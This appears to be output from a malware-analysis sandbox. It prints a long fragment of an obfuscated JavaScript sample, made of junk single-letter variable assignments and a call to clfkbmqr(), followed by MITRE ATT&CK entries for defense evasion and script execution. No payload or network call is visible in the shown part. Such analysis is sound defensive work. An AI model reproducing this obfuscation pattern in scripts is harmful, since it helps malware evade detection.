449	rjsjxtu = "X";
450	rjsjxtu = "W";
451	rjsjxtu = "y";
452	rjsjxtu = "w";
453	rjsjxtu = "o";
454	rjsjxtu = "Y";
455	rjsjxtu = "z";
456	rjsjxtu = "Q";
457	rjsjxtu = "F";
458	rjsjxtu = "n";
459	rjsjxtu = "j";
460	rjsjxtu = "T";
461	rjsjxtu = "c";
462	rjsjxtu = "z";
463	rjsjxtu = "w";
464	rjsjxtu = "C";
465	rjsjxtu = "Y";
466	rjsjxtu = "F";
467	rjsjxtu = "q";
468	rjsjxtu = "w";
469	rjsjxtu = "a";
470	rjsjxtu = "a";
471	rjsjxtu = "S";
472	rjsjxtu = "O";
473	rjsjxtu = "p";
474	rjsjxtu = ".";
475	jbzwpw = "q";
476	jbzwpw = "R";
477	jbzwpw = "S";
478	jbzwpw = "m";
479	jbzwpw = "J";
480	jbzwpw = "i";
481	jbzwpw = "h";
482	jbzwpw = "R";
483	jbzwpw = "l";
484	jbzwpw = "Q";
485	jbzwpw = "P";
486	jbzwpw = "c";
487	jbzwpw = "t";
488	jbzwpw = "f";
489	jbzwpw = "K";
490	jbzwpw = "o";
491	jbzwpw = "V";
492	jbzwpw = "Y";
493	jbzwpw = "n";
494	jbzwpw = "g";
495	jbzwpw = "Y";
496	jbzwpw = "S";
497	nrulwej = "t";
498	nrulwej = "m";
499	nrulwej = "J";
500	nrulwej = "n";
501	nrulwej = "N";
502	nrulwej = "f";
503	nrulwej = "d";
504	nrulwej = "U";
505	nrulwej = "O";
506	nrulwej = "M";
507	nrulwej = "n";
508	nrulwej = "L";
509	nrulwej = "U";
510	nrulwej = "I";
511	nrulwej = "d";
512	nrulwej = "E";
513	nrulwej = "F";
514	nrulwej = "V";
515	nrulwej = "e";
516	nrulwej = "w";
517	nrulwej = "L";
518	nrulwej = "K";
519	nrulwej = "w";
520	nrulwej = "V";
521	nrulwej = "r";
522	nrulwej = "s";
523	nrulwej = "g";
524	nrulwej = "x";
525	nrulwej = "e";
526	nrulwej = "k";
527	nrulwej = "u";
528	nrulwej = "l";
529	nrulwej = "t";
530	nrulwej = "y";
531	nrulwej = "x";
532	nrulwej = "s";
533	nrulwej = "J";
534	nrulwej = "i";
535	unjuq = "o";
536	unjuq = "B";
537	unjuq = "t";
538	unjuq = "g";
539	unjuq = "O";
540	unjuq = "R";
541	unjuq = "R";
542	unjuq = "V";
543	unjuq = "U";
544	unjuq = "N";
545	unjuq = "s";
546	unjuq = "x";
547	unjuq = "H";
548	unjuq = "s";
549	unjuq = "k";
550	unjuq = "O";
551	unjuq = "L";
552	unjuq = "c";
553	unjuq = "o";
554	unjuq = "e";
555	unjuq = "Y";
556	unjuq = "n";
557	unjuq = "T";
558	unjuq = "u";
559	unjuq = "P";
560	unjuq = "V";
561	unjuq = "o";
562	unjuq = "D";
563	unjuq = "G";
564	unjuq = "o";
565	unjuq = "K";
566	unjuq = "D";
567	unjuq = "J";
568	unjuq = "L";
569	unjuq = "P";
570	unjuq = "j";
571	unjuq = "P";
572	unjuq = "G";
573	unjuq = "b";
574	unjuq = "y";
575	unjuq = "C";
576	unjuq = "k";
577	xzkwbi = "y";
578	xzkwbi = "e";
579	xzkwbi = "D";
580	xzkwbi = "p";
581	xzkwbi = "T";
582	xzkwbi = "P";
583	xzkwbi = "s";
584	xzkwbi = "j";
585	xzkwbi = "c";
586	xzkwbi = "U";
587	xzkwbi = "e";
588	xzkwbi = "u";
589	xzkwbi = "Q";
590	xzkwbi = "y";
591	xzkwbi = "d";
592	xzkwbi = "\"";
593	iplmu = "E";
594	iplmu = "O";
595	iplmu = "m";
596	iplmu = "G";
597	iplmu = "h";
598	iplmu = "h";
599	iplmu = "p";
600	iplmu = "f";
601	iplmu = "b";
602	iplmu = "B";
603	iplmu = "l";
604	iplmu = "R";
605	iplmu = "s";
606	iplmu = "D";
607	iplmu = "W";
608	iplmu = "F";
609	iplmu = "V";
610	iplmu = "G";
611	iplmu = "E";
612	iplmu = "R";
613	iplmu = "e";
614	iplmu = "l";
615	iplmu = "Y";
616	iplmu = "f";
617	iplmu = "A";
618	iplmu = "V";
619	iplmu = "b";
620	iplmu = "S";
621	iplmu = "X";
622	iplmu = "s";
623	iplmu = "x";
624	iplmu = "F";
625	iplmu = "t";
626	iplmu = "h";
627	iplmu = "h";
628	iplmu = "p";
629	sajtc = "K";
630	sajtc = "j";
631	sajtc = "X";
632	sajtc = "l";
633	sajtc = "S";
634	sajtc = "l";
635	sajtc = "K";
636	sajtc = "u";
637	sajtc = "T";
638	sajtc = "E";
639	sajtc = "C";
640	sajtc = "2";
641	jcksok = "N";
642	jcksok = "V";
643	jcksok = "F";
644	jcksok = "J";
645	jcksok = "a";
646	jcksok = "D";
647	jcksok = "v";
648	jcksok = "r";
649	jcksok = "r";
650	jcksok = "S";
651	jcksok = "x";
652	jcksok = "z";
653	jcksok = "E";
654	jcksok = "b";
655	jcksok = "w";
656	jcksok = "q";
657	jcksok = "z";
658	jcksok = "B";
659	jcksok = "C";
660	jcksok = "Q";
661	jcksok = "A";
662	jcksok = "J";
663	jcksok = "O";
664	jcksok = "e";
665	jcksok = "Z";
666	jcksok = "E";
667	jcksok = "F";
668	jcksok = "j";
669	jcksok = "O";
670	anzhzmrfk = " ";
671	rlagch = "e";
672	rlagch = "W";
673	rlagch = "u";
674	rlagch = "e";
675	rlagch = "N";
676	rlagch = "H";
677	rlagch = "Z";
678	rlagch = "j";
679	rlagch = "R";
680	rlagch = "t";
681	rlagch = "d";
682	rlagch = "h";
683	rlagch = "m";
684	rlagch = "v";
685	rlagch = "G";
686	rlagch = "z";
687	rlagch = "Q";
688	rlagch = "Y";
689	rlagch = "O";
690	rlagch = "b";
691	rlagch = "A";
692	rlagch = "B";
693	rlagch = "K";
694	rlagch = "D";
695	rlagch = "E";
696	rlagch = "r";
697	rlagch = "Z";
698	rlagch = "d";
699	rlagch = "T";
700	rlagch = "E";
701	rlagch = "l";
702	rlagch = "F";
703	rlagch = "d";
704	rlagch = "o";
705	rlagch = "J";
706	rlagch = "c";
707	rlagch = "W";
708	rlagch = "a";
709	rlagch = "_";
710	ecekeoz = "w";
711	ecekeoz = "v";
712	ecekeoz = "J";
713	ecekeoz = "l";
714	ecekeoz = "t";
715	ecekeoz = "O";
716	ecekeoz = "l";
717	wqtziy = "w";
718	wqtziy = "Q";
719	wqtziy = "n";
720	wqtziy = "O";
721	wqtziy = "o";
722	wqtziy = "e";
723	wqtziy = "T";
724	wqtziy = "p";
725	wqtziy = "D";
726	wqtziy = "v";
727	wqtziy = "b";
728	wqtziy = "v";
729	wqtziy = "p";
730	wqtziy = "T";
731	wqtziy = "p";
732	wqtziy = "B";
733	wqtziy = "F";
734	wqtziy = "M";
735	wqtziy = "c";
736	wqtziy = "z";
737	wqtziy = "v";
738	wqtziy = "P";
739	wqtziy = "a";
740	wqtziy = "y";
741	wqtziy = "R";
742	wqtziy = "g";
743	wqtziy = "h";
744	wqtziy = "N";
745	wqtziy = "U";
746	wqtziy = "l";
747	wqtziy = "P";
748	wqtziy = "U";
749	wqtziy = "y";
750	wqtziy = "q";
751	wqtziy = "D";
752	wqtziy = "P";
753	wqtziy = "M";
754	wqtziy = "h";
755	wqtziy = "D";
756	wqtziy = "w";
757	wqtziy = "J";
758	wqtziy = "n";
759	ggizqhm = "Q";
760	ggizqhm = "G";
761	ggizqhm = "M";
762	ggizqhm = "X";
763	ggizqhm = "K";
764	ggizqhm = "b";
765	ggizqhm = "G";
766	ggizqhm = "W";
767	ggizqhm = "P";
768	ggizqhm = "z";
769	ggizqhm = "n";
770	ggizqhm = "C";
771	ggizqhm = "n";
772	ggizqhm = "h";
773	ggizqhm = "I";
774	ggizqhm = "b";
775	ggizqhm = "D";
776	ggizqhm = "N";
777	ggizqhm = "b";
778	ggizqhm = "h";
779	ggizqhm = "C";
780	ggizqhm = "i";
781	ggizqhm = "m";
782	ggizqhm = "r";
783	ggizqhm = "L";
784	ggizqhm = "C";
785	ggizqhm = "O";
786	ggizqhm = "z";
787	ggizqhm = "v";
788	ggizqhm = "X";
789	ggizqhm = "o";
790	ggizqhm = "b";
791	ggizqhm = "A";
792	ggizqhm = "T";
793	ggizqhm = "C";
794	ggizqhm = "g";
795	ggizqhm = "C";
796	ggizqhm = "L";
797	ggizqhm = "X";
798	ggizqhm = "b";
799	ggizqhm = "N";
800	ggizqhm = "e";
801	ggizqhm = "C";
802	ajccfqkp = "p";
803	ajccfqkp = "K";
804	ivsus = "p";
805	ivsus = "s";
806	ivsus = "c";
807	ivsus = "x";
808	ivsus = "n";
809	ivsus = "l";
810	ivsus = "u";
811	ivsus = "h";
812	ivsus = "K";
813	ivsus = "D";
814	ivsus = "B";
815	ivsus = "c";
816	ivsus = "R";
817	ivsus = "U";
818	ivsus = "W";
819	ivsus = "u";
820	ivsus = "i";
821	ivsus = "g";
822	ivsus = "c";
823	ivsus = "B";
824	ivsus = "v";
825	ivsus = "B";
826	ivsus = "g";
827	ivsus = "h";
828	ivsus = "E";
829	ivsus = "N";
830	ivsus = "d";
831	fwzev = "a";
832	fwzev = "W";
833	fwzev = "P";
834	fwzev = "J";
835	fwzev = "I";
836	fwzev = "E";
837	fwzev = "J";
838	fwzev = "P";
839	fwzev = "a";
840	fwzev = "l";
841	fwzev = "S";
842	fwzev = "f";
843	fwzev = "s";
844	fwzev = "V";
845	fwzev = "p";
846	fwzev = "e";
847	fwzev = "u";
848	fwzev = "D";
849	fwzev = "X";
850	fwzev = "f";
851	fwzev = "c";
852	fwzev = "w";
853	fwzev = "z";
854	fwzev = "V";
855	fwzev = "K";
856	fwzev = "a";
857	fwzev = "r";
858	fwzev = "U";
859	fwzev = "T";
860	fwzev = "Y";
861	djeqe = "e";
862	djeqe = "z";
863	djeqe = "R";
864	djeqe = "B";
865	djeqe = "I";
866	djeqe = "t";
867	djeqe = "J";
868	djeqe = "G";
869	djeqe = "E";
870	djeqe = "9";
871	bipkivrt = "0";
872	gyavx = "I";
873	gyavx = "k";
874	gyavx = "g";
875	gyavx = "n";
876	gyavx = "Q";
877	gyavx = "l";
878	gyavx = "D";
879	gyavx = "e";
880	gyavx = "g";
881	gyavx = "e";
882	gyavx = "D";
883	gyavx = "Z";
884	gyavx = "O";
885	gyavx = "j";
886	gyavx = "y";
887	gyavx = "H";
888	gyavx = "U";
889	gyavx = "Y";
890	gyavx = "F";
891	wsbvyo = "M";
892	wsbvyo = "i";
893	wsbvyo = "p";
894	wsbvyo = "O";
895	wsbvyo = "g";
896	wsbvyo = "P";
897	wsbvyo = "q";
898	wsbvyo = "A";
899	wsbvyo = "e";
900	wsbvyo = "g";
901	wsbvyo = "K";
902	wsbvyo = "K";
903	wsbvyo = "n";
904	wsbvyo = "e";
905	wsbvyo = "E";
906	wsbvyo = "h";
907	wsbvyo = "Y";
908	wsbvyo = "v";
909	wsbvyo = "r";
910	wsbvyo = "d";
911	wsbvyo = "a";
912	wsbvyo = "B";
913	wsbvyo = "x";
914	wsbvyo = "r";
915	wsbvyo = "P";
916	wsbvyo = "A";
917	wsbvyo = "N";
918	wsbvyo = "R";
919	wsbvyo = "I";
920	wsbvyo = "Z";
921	wsbvyo = "H";
922	dlsvvgo = "y";
923	dlsvvgo = "j";
924	dlsvvgo = "B";
925	dlsvvgo = "J";
926	dlsvvgo = "l";
927	dlsvvgo = "a";
928	dlsvvgo = "O";
929	dlsvvgo = "f";
930	dlsvvgo = "X";
931	dlsvvgo = "O";
932	dlsvvgo = "u";
933	dlsvvgo = "w";
934	dlsvvgo = "c";
935	dlsvvgo = "z";
936	dlsvvgo = "W";
937	dlsvvgo = "B";
938	dlsvvgo = "f";
939	dlsvvgo = "z";
940	dlsvvgo = "D";
941	dlsvvgo = "o";
942	dlsvvgo = "z";
943	dlsvvgo = "G";
944	dlsvvgo = "z";
945	dlsvvgo = "U";
946	dlsvvgo = "H";
947	dlsvvgo = "z";
948	dlsvvgo = "i";
949	dlsvvgo = "-";
950	seqevn = "z";
951	seqevn = "p";
952	seqevn = "T";
953	seqevn = "N";
954	seqevn = "U";
955	seqevn = "F";
956	seqevn = "b";
957	seqevn = "k";
958	seqevn = "z";
959	seqevn = "y";
960	seqevn = "R";
961	seqevn = "i";
962	seqevn = "K";
963	seqevn = "r";
964	seqevn = "j";
965	seqevn = "j";
966	seqevn = "h";
967	seqevn = "A";
968	seqevn = "S";
969	seqevn = "r";
970	seqevn = "v";
971	seqevn = "z";
972	seqevn = "c";
973	seqevn = "v";
974	seqevn = "K";
975	seqevn = "v";
976	seqevn = "x";
977	seqevn = "k";
978	seqevn = "F";
979	seqevn = "j";
980	gumrlo = "y";
981	gumrlo = "T";
982	gumrlo = "b";
983	gumrlo = "b";
984	gumrlo = "G";
985	gumrlo = "I";
986	gumrlo = "q";
987	gumrlo = "O";
988	gumrlo = "O";
989	gumrlo = "m";
990	gumrlo = "C";
991	gumrlo = "F";
992	gumrlo = "Z";
993	gumrlo = "E";
994	gumrlo = "N";
995	gumrlo = "Z";
996	gumrlo = "U";
997	gumrlo = "o";
998	gumrlo = "q";
999	gumrlo = "l";
1000	gumrlo = "a";
1001	gumrlo = "j";
1002	gumrlo = "X";
1003	gumrlo = "A";
1004	gumrlo = "I";
1005	gumrlo = "S";
1006	gumrlo = "y";
1007	gumrlo = "V";
1008	gumrlo = "C";
1009	gumrlo = "/";
1010	dcziygzx = "a";
1011	dcziygzx = "I";
1012	dcziygzx = "J";
1013	dcziygzx = "q";
1014	dcziygzx = "p";
1015	dcziygzx = "G";
1016	dcziygzx = "i";
1017	dcziygzx = "Z";
1018	dcziygzx = "C";
1019	dcziygzx = "a";
1020	dcziygzx = "b";
1021	dcziygzx = "g";
1022	dcziygzx = "q";
1023	dcziygzx = "P";
1024	dcziygzx = "B";
1025	dcziygzx = "T";
1026	dcziygzx = "C";
1027	dcziygzx = "t";
1028	dcziygzx = "R";
1029	dcziygzx = "w";
1030	dcziygzx = "I";
1031	dcziygzx = "S";
1032	dcziygzx = "P";
1033	dcziygzx = "C";
1034	dcziygzx = "d";
1035	dcziygzx = "q";
1036	qtchcd = "z";
1037	qtchcd = "X";
1038	qtchcd = "H";
1039	qtchcd = "F";
1040	qtchcd = "E";
1041	qtchcd = "L";
1042	qtchcd = "Q";
1043	qtchcd = "E";
1044	qtchcd = "U";
1045	qtchcd = "S";
1046	qtchcd = "k";
1047	qtchcd = "V";
1048	qtchcd = "L";
1049	qtchcd = "a";
1050	qtchcd = "W";
1051	qtchcd = "J";
1052	qtchcd = "C";
1053	qtchcd = "P";
1054	qtchcd = "L";
1055	qtchcd = "H";
1056	qtchcd = "J";
1057	qtchcd = "T";
1058	qtchcd = "r";
1059	qtchcd = "G";
1060	qtchcd = "T";
1061	qtchcd = "g";
1062	qtchcd = "q";
1063	qtchcd = "3";
1064	nwaos = "G";
1065	nwaos = "f";
1066	nwaos = "t";
1067	nwaos = "M";
1068	nwaos = "W";
1069	nwaos = "i";
1070	nwaos = "t";
1071	nwaos = "o";
1072	nwaos = "y";
1073	nwaos = "K";
1074	nwaos = "y";
1075	nwaos = "K";
1076	nwaos = "E";
1077	nwaos = "n";
1078	nwaos = "p";
1079	nwaos = "e";
1080	nwaos = "u";
1081	nwaos = "U";
1082	nwaos = "V";
1083	nwaos = "D";
1084	nwaos = "A";
1085	nwaos = "P";
1086	nwaos = "g";
1087	nwaos = "R";
1088	nwaos = "e";
1089	nwaos = "D";
1090	nwaos = "S";
1091	nwaos = "o";
1092	nwaos = "H";
1093	nwaos = "e";
1094	nwaos = "x";
1095	nwaos = "s";
1096	nwaos = "P";
1097	nwaos = "U";
1098	nwaos = "s";
1099	nwaos = "W";
1100	nwaos = "m";
1101	nwaos = "P";
1102	nwaos = "B";
1103	nwaos = "1";
1104	usjkpvt = "o";
1105	usjkpvt = "x";
1106	usjkpvt = "d";
1107	usjkpvt = "R";
1108	usjkpvt = "L";
1109	usjkpvt = "r";
1110	usjkpvt = "E";
1111	usjkpvt = "Z";
1112	usjkpvt = "T";
1113	usjkpvt = "m";
1114	usjkpvt = "U";
1115	usjkpvt = "C";
1116	usjkpvt = "r";
1117	usjkpvt = "g";
1118	usjkpvt = "B";
1119	usjkpvt = "v";
1120	usjkpvt = "U";
1121	usjkpvt = "T";
1122	usjkpvt = "O";
1123	usjkpvt = "Q";
1124	usjkpvt = "w";
1125	csnxuhhb = "o";
1126	csnxuhhb = "H";
1127	csnxuhhb = "U";
1128	hgxtbc = "A";
1129	hgxtbc = "f";
1130	hgxtbc = "Y";
1131	hgxtbc = "X";
1132	hgxtbc = "D";
1133	hgxtbc = "K";
1134	hgxtbc = "u";
1135	hgxtbc = "m";
1136	hgxtbc = "Y";
1137	hgxtbc = "F";
1138	hgxtbc = "o";
1139	hgxtbc = "W";
1140	hgxtbc = "r";
1141	hgxtbc = "V";
1142	hgxtbc = "T";
1143	hgxtbc = "K";
1144	hgxtbc = "X";
1145	hgxtbc = "P";
1146	hgxtbc = "w";
1147	hgxtbc = "s";
1148	hgxtbc = "F";
1149	hgxtbc = "Y";
1150	hgxtbc = "O";
1151	hgxtbc = "O";
1152	hgxtbc = "g";
1153	hgxtbc = "Y";
1154	hgxtbc = "R";
1155	hgxtbc = "S";
1156	hgxtbc = "u";
1157	cxhyo = "o";
1158	cxhyo = "c";
1159	cxhyo = "u";
1160	cxhyo = "j";
1161	cxhyo = "W";
1162	cxhyo = "u";
1163	cxhyo = "Z";
1164	cxhyo = "m";
1165	cxhyo = "b";
1166	cxhyo = "r";
1167	cxhyo = "e";
1168	cxhyo = "G";
1169	cxhyo = "M";
1170	cxhyo = "L";
1171	cxhyo = "d";
1172	cxhyo = "O";
1173	cxhyo = "n";
1174	cxhyo = "p";
1175	cxhyo = "v";
1176	cxhyo = "O";
1177	cxhyo = "J";
1178	cxhyo = "w";
1179	cxhyo = "P";
1180	cxhyo = "t";
1181	cxhyo = "g";
1182	cxhyo = "d";
1183	cxhyo = "Y";
1184	cxhyo = "i";
1185	cxhyo = "v";
1186	cxhyo = "W";
1187	cxhyo = "f";
1188	cxhyo = "x";
1189	cxhyo = "w";
1190	cxhyo = "r";
1191	cxhyo = "g";
1192	zqqbhksgh = "L";
1193	zqqbhksgh = "V";
1194	zqqbhksgh = "N";
1195	zqqbhksgh = "f";
1196	zqqbhksgh = "G";
1197	zqqbhksgh = "t";
1198	zqqbhksgh = "g";
1199	zqqbhksgh = "Z";
1200	zqqbhksgh = "v";
1201	zqqbhksgh = "K";
1202	zqqbhksgh = "d";
1203	zqqbhksgh = "p";
1204	zqqbhksgh = "D";
1205	zqqbhksgh = "j";
1206	zqqbhksgh = "f";
1207	zqqbhksgh = "O";
1208	zqqbhksgh = "W";
1209	zqqbhksgh = "Z";
1210	zqqbhksgh = "E";
1211	zqqbhksgh = "P";
1212	zqqbhksgh = "5";
1213	cxebecf = "A";
1214	cxebecf = "b";
1215	cxebecf = "o";
1216	cxebecf = "C";
1217	cxebecf = "V";
1218	cxebecf = "r";
1219	cxebecf = "l";
1220	cxebecf = "c";
1221	cxebecf = "K";
1222	cxebecf = "L";
1223	cxebecf = "a";
1224	cxebecf = "b";
1225	cxebecf = "D";
1226	cxebecf = "N";
1227	cxebecf = "y";
1228	cxebecf = "I";
1229	cxebecf = "f";
1230	gfbbjhi = "%";
1231	wmwohtkvd = "S";
1232	wmwohtkvd = "t";
1233	wmwohtkvd = "z";
1234	wmwohtkvd = "U";
1235	wmwohtkvd = "I";
1236	wmwohtkvd = "o";
1237	wmwohtkvd = "x";
1238	wmwohtkvd = "F";
1239	wmwohtkvd = "i";
1240	wmwohtkvd = "c";
1241	wmwohtkvd = "A";
1242	wmwohtkvd = "v";
1243	wmwohtkvd = "k";
1244	wmwohtkvd = "l";
1245	wmwohtkvd = "a";
1246	wmwohtkvd = "G";
1247	wmwohtkvd = "U";
1248	wmwohtkvd = "P";
1249	wmwohtkvd = "V";
1250	wmwohtkvd = "I";
1251	wmwohtkvd = "s";
1252	wmwohtkvd = "g";
1253	wmwohtkvd = "d";
1254	wmwohtkvd = "q";
1255	wmwohtkvd = "F";
1256	wmwohtkvd = ":";
1257	anmei = "K";
1258	anmei = "C";
1259	anmei = "g";
1260	anmei = "N";
1261	anmei = "Q";
1262	anmei = "s";
1263	anmei = "W";
1264	anmei = "d";
1265	anmei = "S";
1266	anmei = "D";
1267	anmei = "Y";
1268	anmei = "q";
1269	anmei = "h";
1270	anmei = "Z";
1271	anmei = "Y";
1272	anmei = "t";
1273	anmei = "r";
1274	anmei = "T";
1275	anmei = "E";
1276	anmei = "E";
1277	anmei = "x";
1278	anmei = "t";
1279	anmei = "f";
1280	anmei = "R";
1281	anmei = "Y";
1282	anmei = "d";
1283	anmei = "M";
1284	anmei = "S";
1285	anmei = "i";
1286	anmei = "o";
1287	anmei = "S";
1288	anmei = "x";
1289	anmei = "x";
1290	anmei = "B";
1291	anmei = "S";
1292	anmei = "h";
1293	anmei = "t";
1294	anmei = "t";
1295	anmei = "s";
1296	anmei = "h";
1297	rvuchp = "d";
1298	rvuchp = "S";
1299	rvuchp = "c";
1300	rvuchp = "Y";
1301	rvuchp = "T";
1302	rvuchp = "M";
1303	rvuchp = "s";
1304	rvuchp = "u";
1305	rvuchp = "d";
1306	rvuchp = "z";
1307	rvuchp = "B";
1308	rvuchp = "H";
1309	rvuchp = "d";
1310	rvuchp = "n";
1311	rvuchp = "y";
1312	rvuchp = "T";
1313	rvuchp = "c";
1314	rvuchp = "X";
1315	rvuchp = "t";
1316	rvuchp = "y";
1317	rvuchp = "Q";
1318	rvuchp = "d";
1319	rvuchp = "X";
1320	rvuchp = "H";
1321	rvuchp = "v";
1322	rvuchp = "t";
1323	rvuchp = "w";
1324	rvuchp = "r";
1325	rvuchp = "W";
1326	rvrkjslb = "q";
1327	rvrkjslb = "\\";
1328	dpifcc = "v";
1329	dpifcc = "Q";
1330	dpifcc = "k";
1331	dpifcc = "d";
1332	dpifcc = "R";
1333	dpifcc = "q";
1334	dpifcc = "N";
1335	dpifcc = "u";
1336	dpifcc = "j";
1337	dpifcc = "J";
1338	dpifcc = "Z";
1339	dpifcc = "h";
1340	dpifcc = "m";
1341	hlyxyurn = "y";
1342	hlyxyurn = "c";
1343	rvnrtzzv = "T";
1344	rvnrtzzv = "w";
1345	rvnrtzzv = "O";
1346	rvnrtzzv = "p";
1347	rvnrtzzv = "q";
1348	rvnrtzzv = "S";
1349	rvnrtzzv = "z";
1350	rvnrtzzv = "R";
1351	rvnrtzzv = "j";
1352	rvnrtzzv = "e";
1353	rvnrtzzv = "g";
1354	rvnrtzzv = "t";
1355	rvnrtzzv = "g";
1356	rvnrtzzv = "X";
1357	rvnrtzzv = "s";
1358	rvnrtzzv = "p";
1359	rvnrtzzv = "D";
1360	rvnrtzzv = "A";
1361	rvnrtzzv = "C";
1362	rvnrtzzv = "r";
1363	rvnrtzzv = "q";
1364	rvnrtzzv = "k";
1365	rvnrtzzv = "R";
1366	rvnrtzzv = "V";
1367	rvnrtzzv = "D";
1368	rvnrtzzv = "l";
1369	rvnrtzzv = "z";
1370	rvnrtzzv = "C";
1371	rvnrtzzv = "B";
1372	rvnrtzzv = "w";
1373	rvnrtzzv = "r";
1374	rvnrtzzv = "v";
1375	rvnrtzzv = "e";
1376	rvnrtzzv = "T";
1377	rvnrtzzv = "R";
1378	rvnrtzzv = "G";
1379	rvnrtzzv = "a";
1380	rvnrtzzv = "L";
1381	rvnrtzzv = "F";
1382	rvnrtzzv = "v";
1383	rvnrtzzv = "o";
1384	rvnrtzzv = "X";
1385	rvnrtzzv = "i";
1386	rvnrtzzv = "@";
1387	omryb = "A";
1388	omryb = "x";
1389	omryb = "m";
1390	omryb = "W";
1391	omryb = "b";
1392	omryb = "M";
1393	omryb = "k";
1394	omryb = "i";
1395	omryb = "y";
1396	omryb = "Q";
1397	omryb = "Y";
1398	omryb = "i";
1399	omryb = "x";
1400	omryb = "H";
1401	omryb = "O";
1402	omryb = "O";
1403	omryb = "v";
1404	omryb = "O";
1405	omryb = "Z";
1406	omryb = "P";
1407	omryb = "j";
1408	omryb = "c";
1409	omryb = "A";
1410	omryb = "A";
1411	omryb = "e";
1412	xqjmgx = "o";
1413	xqjmgx = "J";
1414	xqjmgx = "P";
1415	xqjmgx = "O";
1416	xqjmgx = "Y";
1417	xqjmgx = "n";
1418	xqjmgx = "J";
1419	xqjmgx = "X";
1420	xqjmgx = "N";
1421	xqjmgx = "N";
1422	xqjmgx = "m";
1423	xqjmgx = "E";
1424	xqjmgx = "t";
1425	xqjmgx = "z";
1426	xqjmgx = "L";
1427	xqjmgx = "r";
1428	xqjmgx = "Y";
1429	xqjmgx = "e";
1430	xqjmgx = "t";
1431	xqjmgx = "c";
1432	xqjmgx = "Y";
1433	xqjmgx = "T";
1434	xqjmgx = "F";
1435	xqjmgx = "b";
1436	xqjmgx = "e";
1437	xqjmgx = "L";
1438	xqjmgx = "m";
1439	xqjmgx = "Z";
1440	xqjmgx = "P";
1441	xqjmgx = "R";
1442	xqjmgx = "b";
1443	xqjmgx = "N";
1444	xqjmgx = "c";
1445	xqjmgx = "p";
1446	xqjmgx = "G";
1447	xqjmgx = "A";
1448	xqjmgx = "I";
1449	xqjmgx = "Z";
1450	xqjmgx = "4";
1451	xhweuct = "y";
1452	xhweuct = "q";
1453	xhweuct = "u";
1454	xhweuct = "s";
1455	xlxdh = "e";
1456	xlxdh = "N";
1457	xlxdh = "D";
1458	xlxdh = "e";
1459	xlxdh = "Z";
1460	xlxdh = "A";
1461	xlxdh = "p";
1462	xlxdh = "L";
1463	xlxdh = "x";
1464	yqhdryhv = "g";
1465	yqhdryhv = "s";
1466	yqhdryhv = "L";
1467	yqhdryhv = "s";
1468	yqhdryhv = "J";
1469	yqhdryhv = "S";
1470	yqhdryhv = "h";
1471	yqhdryhv = "k";
1472	yqhdryhv = "Z";
1473	yqhdryhv = "V";
1474	yqhdryhv = "x";
1475	yqhdryhv = "F";
1476	yqhdryhv = "m";
1477	yqhdryhv = "u";
1478	yqhdryhv = "W";
1479	yqhdryhv = "m";
1480	yqhdryhv = "L";
1481	yqhdryhv = "s";
1482	yqhdryhv = "j";
1483	yqhdryhv = "w";
1484	yqhdryhv = "S";
1485	yqhdryhv = "s";
1486	yqhdryhv = "Q";
1487	yqhdryhv = "K";
1488	yqhdryhv = "e";
1489	yqhdryhv = "R";
1490	yqhdryhv = "Q";
1491	yqhdryhv = "v";
1492	yqhdryhv = "g";
1493	yqhdryhv = "R";
1494	yqhdryhv = "h";
1495	yqhdryhv = "q";
1496	yqhdryhv = "t";
1497	yqhdryhv = "T";
1498	yqhdryhv = "L";
1499	yqhdryhv = "o";
1500	yqhdryhv = "m";
1501	yqhdryhv = "l";
1502	yqhdryhv = "B";
1503	yqhdryhv = "N";
1504	yqhdryhv = "z";
1505	yqhdryhv = "j";
1506	yqhdryhv = "7";
1507	kmzjy = "D";
1508	kmzjy = "r";
1509	kmzjy = "H";
1510	kmzjy = "t";
1511	kmzjy = "M";
1512	kmzjy = "l";
1513	kmzjy = "h";
1514	kmzjy = "R";
1515	kmzjy = "r";
1516	kmzjy = "G";
1517	kmzjy = "p";
1518	kmzjy = "r";
1519	kmzjy = "q";
1520	kmzjy = "f";
1521	kmzjy = "a";
1522	kmzjy = "m";
1523	kmzjy = "o";
1524	kmzjy = "Q";
1525	kmzjy = "Y";
1526	kmzjy = "g";
1527	kmzjy = "B";
1528	kmzjy = "d";
1529	kmzjy = "C";
1530	kmzjy = "Q";
1531	kmzjy = "g";
1532	kmzjy = "I";
1533	kmzjy = "M";
1534	kmzjy = "I";
1535	kmzjy = "y";
1536	kmzjy = "Y";
1537	kmzjy = "n";
1538	kmzjy = "O";
1539	kmzjy = "H";
1540	kmzjy = "r";
1541	kmzjy = "S";
1542	kmzjy = "N";
1543	kmzjy = "g";
1544	kmzjy = "y";
1545	kmzjy = "Y";
1546	kmzjy = "K";
1547	kmzjy = "q";
1548	kmzjy = "v";
1549	uyefjif = "b";
1550	uyefjif = "Y";
1551	uyefjif = "U";
1552	uyefjif = "T";
1553	uyefjif = "H";
1554	uyefjif = "f";
1555	uyefjif = "V";
1556	uyefjif = "s";
1557	uyefjif = "F";
1558	uyefjif = "c";
1559	uyefjif = "R";
1560	uyefjif = "X";
1561	uyefjif = "V";
1562	uyefjif = "F";
1563	uyefjif = "Z";
1564	uyefjif = "n";
1565	uyefjif = "Y";
1566	uyefjif = "v";
1567	uyefjif = "c";
1568	uyefjif = "f";
1569	uyefjif = "n";
1570	uyefjif = "P";
1571	clfkbmqr ( );	clfkbmqr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

